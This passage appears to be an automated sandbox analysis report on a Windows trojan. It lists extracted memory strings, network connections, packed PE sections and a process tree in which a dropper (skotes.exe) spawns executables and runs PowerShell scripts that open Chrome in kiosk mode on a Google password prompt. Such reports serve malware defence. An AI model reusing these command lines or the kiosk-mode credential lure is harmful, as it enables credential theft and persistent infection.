Source: chrome.exe, 0000000E.00000003.2219985504.00005C6C01428000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://goto.google.com/sme-bugs27
Source: chrome.exe, 0000000E.00000003.2219985504.00005C6C01428000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://goto.google.com/sme-bugs2e
Source: chrome.exe, 0000000E.00000003.2182170462.00005C6C01178000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/161903006
Source: chrome.exe, 0000000E.00000003.2182170462.00005C6C01178000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/166809097
Source: chrome.exe, 0000000E.00000003.2182170462.00005C6C01178000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/184850002
Source: chrome.exe, 0000000E.00000003.2182170462.00005C6C01178000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/187425444
Source: chrome.exe, 0000000E.00000003.2182170462.00005C6C01178000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/220069903
Source: chrome.exe, 0000000E.00000003.2182170462.00005C6C01178000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/229267970
Source: chrome.exe, 0000000E.00000003.2182170462.00005C6C01178000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/250706693
Source: chrome.exe, 0000000E.00000003.2182170462.00005C6C01178000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/253522366
Source: chrome.exe, 0000000E.00000003.2182170462.00005C6C01178000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/255411748
Source: chrome.exe, 0000000E.00000003.2182170462.00005C6C01178000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/258207403
Source: chrome.exe, 0000000E.00000003.2182170462.00005C6C01178000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/274859104
Source: chrome.exe, 0000000E.00000003.2182170462.00005C6C01178000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/284462263
Source: chrome.exe, 0000000E.00000003.2182170462.00005C6C01178000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/issues/166475273
Source: chrome.exe, 0000000E.00000003.2097873087.00000B6C00A04000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiment/2
Source: chrome.exe, 0000000E.00000003.2228903890.00005C6C01DC0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000E.00000003.2101402301.00000B6C00EBC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000E.00000003.2101307377.00000B6C00EB8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000E.00000003.2101603553.00000B6C00EC0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiment/2/springboard
Source: chrome.exe, 0000000E.00000003.2097873087.00000B6C00A04000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiment/2/springboard2
Source: chrome.exe, 0000000E.00000003.2097873087.00000B6C00A04000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiment/2/springboardb
Source: chrome.exe, 0000000E.00000003.2097873087.00000B6C00A04000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiments
Source: chrome.exe, 0000000E.00000003.2097873087.00000B6C00A04000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lens.google.com/v3/2
Source: chrome.exe, 0000000E.00000003.2097873087.00000B6C00A04000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lens.google.com/v3/upload2
Source: chrome.exe, 0000000E.00000003.2219985504.00005C6C01428000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lensfrontend-pa.googleapis.com/v1/crupload2
Source: chrome.exe, 0000000E.00000003.2219985504.00005C6C01428000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myaccount.google.com/shielded-email2B
Source: chrome.exe, 0000000E.00000003.2097771171.00000B6C0125C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nonexistent.googlezip.net/
Source: chrome.exe, 0000000E.00000003.2097771171.00000B6C0125C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nonexistent.googlezip.net/OfflinePagesPrefetchingForcedOn_OfflinePagesPrefetchingOfflinePage
Source: chrome.exe, 0000000E.00000003.2097873087.00000B6C00A04000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nonexistent.googlezip.net/b
Source: powershell.exe, 0000000C.00000002.2097290868.0000000005BA4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: chrome.exe, 0000000E.00000003.2219985504.00005C6C01428000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://publickeyservice.gcp.privacysandboxservices.com
Source: chrome.exe, 0000000E.00000003.2219985504.00005C6C01428000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://publickeyservice.pa.aws.privacysandboxservices.com
Source: chrome.exe, 0000000E.00000003.2219985504.00005C6C01428000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://publickeyservice.pa.aws.privacysandboxservices.com/.well-known/protected-auction/v1/public-k
Source: chrome.exe, 0000000E.00000003.2219985504.00005C6C01428000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://publickeyservice.pa.gcp.privacysandboxservices.com
Source: chrome.exe, 0000000E.00000003.2219985504.00005C6C01428000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://publickeyservice.pa.gcp.privacysandboxservices.com/.well-known/protected-auction/v1/public-k
Source: chrome.exe, 0000000E.00000003.2219985504.00005C6C01428000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://shieldedids-pa.googleapis.com2
Source: chrome.exe, 0000000E.00000003.2097873087.00000B6C00A04000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://shieldedids-pa.googleapis.com2#
Source: chrome.exe, 0000000E.00000003.2219985504.00005C6C01428000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://shieldedids-pa.googleapis.comJv
Source: chrome.exe, 0000000E.00000003.2216017881.00005C6C00FE4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ssl.gstatic.com
Source: chrome.exe, 0000000E.00000003.2097873087.00000B6C00A04000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.google.com/chrome/?p=blockedb
Source: chrome.exe, 0000000E.00000003.2097873087.00000B6C00A04000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tunnel-staging.googlezip.net/2
Source: chrome.exe, 0000000E.00000003.2216017881.00005C6C00FE4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google-analytics.com
Source: chrome.exe, 0000000E.00000003.2216017881.00005C6C00FE4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google-analytics.com;report-uri
Source: chrome.exe, 0000000E.00000003.2216017881.00005C6C00FE4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com
Source: chrome.exe, 0000000E.00000003.2214595657.00005C6C00FEC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/
Source: chrome.exe, 0000000E.00000003.2097873087.00000B6C00A04000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/2(
Source: chrome.exe, 0000000E.00000003.2097873087.00000B6C00A04000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/b
Source: chrome.exe, 0000000E.00000003.2219985504.00005C6C01428000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/chrome/hats/index.htmlb
Source: chrome.exe, 0000000E.00000003.2097873087.00000B6C00A04000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/chromesuggestionsJ
Source: chrome.exe, 0000000E.00000003.2097873087.00000B6C00A04000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/chromesuggestionsJK
Source: chrome.exe, 0000000E.00000003.2097873087.00000B6C00A04000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000E.00000003.2222052019.00005C6C01520000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/coacbE
Source: chrome.exe, 0000000E.00000003.2219985504.00005C6C01428000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/search
Source: chrome.exe, 0000000E.00000003.2219985504.00005C6C01428000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/auth/aida2
Source: chrome.exe, 0000000E.00000003.2097873087.00000B6C00A04000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/auth/chrome-content-suggestionsb
Source: chrome.exe, 0000000E.00000003.2219985504.00005C6C01428000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000E.00000003.2097873087.00000B6C00A04000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/auth/shieldedids.manager23
Source: chrome.exe, 0000000E.00000003.2216017881.00005C6C00FE4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googletagmanager.com
Source: chrome.exe, 0000000E.00000003.2216017881.00005C6C00FE4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com
Source: chrome.exe, 0000000E.00000003.2097873087.00000B6C00A04000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/chrome/duplex/de/change_password_scripts.jsonb3
Source: chrome.exe, 0000000E.00000003.2240301390.00005C6C0215C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000E.00000003.2239422432.00005C6C02140000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000E.00000003.2240469089.00005C6C02160000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/chrome/duplex/de/stable-experiment/change_password_scripts.json
Source: chrome.exe, 0000000E.00000003.2097873087.00000B6C00A04000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/chrome/duplex/de/stable-experiment/change_password_scripts.jsonb
Source: chrome.exe, 0000000E.00000003.2097873087.00000B6C00A04000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/chrome/duplex/de/stable-experiment/change_password_scripts.jsonb3
Source: chrome.exe, 0000000E.00000003.2097873087.00000B6C00A04000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/chrome/duplex/gb/change_password_scripts.jsonb3
Source: chrome.exe, 0000000E.00000003.2240301390.00005C6C0215C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000E.00000003.2239422432.00005C6C02140000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000E.00000003.2240469089.00005C6C02160000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/chrome/duplex/gb/stable-experiment/change_password_scripts.json
Source: chrome.exe, 0000000E.00000003.2097873087.00000B6C00A04000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/chrome/duplex/gb/stable-experiment/change_password_scripts.jsonb
Source: chrome.exe, 0000000E.00000003.2097873087.00000B6C00A04000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/chrome/duplex/gb/stable-experiment/change_password_scripts.jsonb3
Source: chrome.exe, 0000000E.00000003.2097873087.00000B6C00A04000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/chrome/duplex/global/change_password_scripts.jsonb3
Source: chrome.exe, 0000000E.00000003.2240301390.00005C6C0215C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000E.00000003.2239422432.00005C6C02140000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000E.00000003.2240469089.00005C6C02160000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/chrome/duplex/global/stable-experiment/change_password_scripts.json
Source: chrome.exe, 0000000E.00000003.2097873087.00000B6C00A04000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/chrome/duplex/global/stable-experiment/change_password_scripts.jsonb
Source: chrome.exe, 0000000E.00000003.2097873087.00000B6C00A04000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/chrome/duplex/global/stable-experiment/change_password_scripts.jsonb3
Source: chrome.exe, 0000000E.00000003.2240301390.00005C6C0215C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000E.00000003.2239422432.00005C6C02140000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000E.00000003.2240469089.00005C6C02160000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/chrome/duplex/global/stable-experiment/change_password_scripts.jsonhttps://w
Source: chrome.exe, 0000000E.00000003.2240301390.00005C6C0215C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000E.00000003.2239422432.00005C6C02140000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000E.00000003.2240469089.00005C6C02160000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/chrome/duplex/stable-experiment/change_password_scripts.json
Source: chrome.exe, 0000000E.00000003.2097873087.00000B6C00A04000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/chrome/duplex/stable-experiment/change_password_scripts.jsonb
Source: chrome.exe, 0000000E.00000003.2097873087.00000B6C00A04000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/chrome/duplex/stable-experiment/change_password_scripts.jsonb3
Source: chrome.exe, 0000000E.00000003.2103720130.00000B6C0106C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000E.00000003.2104254966.00000B6C01080000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000E.00000003.2103967623.00000B6C0107C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000E.00000003.2097873087.00000B6C00A04000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/chrome/intelligence/assist/ranker/models/translate/2017/03/translate_ranker_
Source: chrome.exe, 0000000E.00000003.2097873087.00000B6C00A04000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/chrome/intelligence/assist/ranker/models/translate/android/translate_ranker_
Source: chrome.exe, 0000000E.00000003.2219985504.00005C6C014F0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000E.00000003.2106683150.00000B6C00820000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000E.00000003.2097873087.00000B6C00A04000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.jegs.com/webapp/wcs/stores/servlet/OrderItemDisplay
Source: chrome.exe, 0000000E.00000003.2097873087.00000B6C00A04000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.privacysandbox.comb
Source: powershell.exe, 0000000C.00000002.2094379479.0000000004DAC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.LR
Source: powershell.exe, 0000000C.00000002.2099476312.00000000076CE000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2092239275.0000000002BE5000.00000004.00000020.00020000.00000000.sdmp, chrome.exe, 0000000E.00000003.2092596154.000029AC002A8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000E.00000003.2096140902.00000B6C002E0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd

Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 49817 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49672 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 49676 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 49704 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49819
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49799 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49817
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49815
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49814
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49671 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49800
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49819 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49782 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49814 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49704
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443

Source: unknown	HTTPS traffic detected: 20.114.59.183:443 -> 192.168.2.8:49704 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.114.59.183:443 -> 192.168.2.8:49710 version: TLS 1.2

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: skotes.exe.0.dr	Static PE information: section name:
Source: skotes.exe.0.dr	Static PE information: section name: .idata
Source: skotes.exe.0.dr	Static PE information: section name:
Source: random[1].exe.8.dr	Static PE information: section name:
Source: random[1].exe.8.dr	Static PE information: section name: .rsrc
Source: random[1].exe.8.dr	Static PE information: section name: .idata
Source: random[1].exe.8.dr	Static PE information: section name:
Source: 8a145ab7b3.exe.8.dr	Static PE information: section name:
Source: 8a145ab7b3.exe.8.dr	Static PE information: section name: .rsrc
Source: 8a145ab7b3.exe.8.dr	Static PE information: section name: .idata
Source: 8a145ab7b3.exe.8.dr	Static PE information: section name:
Source: cee706a53f.exe.8.dr	Static PE information: section name:
Source: cee706a53f.exe.8.dr	Static PE information: section name: .rsrc
Source: cee706a53f.exe.8.dr	Static PE information: section name: .idata
Source: cee706a53f.exe.8.dr	Static PE information: section name:

Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\Tasks\skotes.job			Jump to behavior
Source: C:\Windows\System32\svchost.exe	File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 8_2_00D8E530	8_2_00D8E530
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 8_2_00DC78BB	8_2_00DC78BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 8_2_00DC7049	8_2_00DC7049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 8_2_00DC8860	8_2_00DC8860
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 8_2_00D84DE0	8_2_00D84DE0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 8_2_00DC31A8	8_2_00DC31A8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 8_2_00DC2D10	8_2_00DC2D10
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 8_2_00DC779B	8_2_00DC779B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 8_2_00D84B30	8_2_00D84B30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 8_2_00DB7F36	8_2_00DB7F36

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe	Static PE information: Section: ZLIB complexity 0.9977169192779292
Source: file.exe	Static PE information: Section: mmzmokro ZLIB complexity 0.9946206450356189
Source: skotes.exe.0.dr	Static PE information: Section: ZLIB complexity 0.9977169192779292
Source: skotes.exe.0.dr	Static PE information: Section: mmzmokro ZLIB complexity 0.9946206450356189
Source: random[1].exe.8.dr	Static PE information: Section: spyqlfjc ZLIB complexity 0.9948946083080424
Source: 8a145ab7b3.exe.8.dr	Static PE information: Section: spyqlfjc ZLIB complexity 0.9948946083080424
Source: cee706a53f.exe.8.dr	Static PE information: Section: spyqlfjc ZLIB complexity 0.9948946083080424

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@72/19@16/13

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D81IGXZV\random[1].exe

Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7928:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7864:120:WilError_03

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Temp\abc3bc1985

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: file.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: 8a145ab7b3.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: cee706a53f.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: 8a145ab7b3.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: cee706a53f.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\file.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1000023001\8a145ab7b3.exe "C:\Users\user\AppData\Local\Temp\1000023001\8a145ab7b3.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\1000026002\cee706a53f.exe "C:\Users\user\1000026002\cee706a53f.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -executionpolicy remotesigned -File "C:\Users\user\1000032042\ko.ps1"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --kiosk --user-data-dir=C:\Users\user\AppData\Local\Google\Chrome\User Data
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -executionpolicy remotesigned -File "C:\Users\user\1000033142\so.ps1"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --kiosk --user-data-dir=C:\Users\user\AppData\Local\Google\Chrome\User Data
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1000023001\8a145ab7b3.exe "C:\Users\user\AppData\Local\Temp\1000023001\8a145ab7b3.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --user-data-dir="C:\Users\user\AppData\Local\Google\Chrome\User" --mojo-platform-channel-handle=2632 --field-trial-handle=2032,i,16315345913979309898,3304916234650839714,262144 /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --user-data-dir="C:\Users\user\AppData\Local\Google\Chrome\User" --mojo-platform-channel-handle=2060 --field-trial-handle=2044,i,13926108917370873368,3944536468102768891,262144 /prefetch:8
Source: unknown	Process created: C:\Users\user\1000026002\cee706a53f.exe "C:\Users\user\1000026002\cee706a53f.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1000023001\8a145ab7b3.exe "C:\Users\user\AppData\Local\Temp\1000023001\8a145ab7b3.exe"
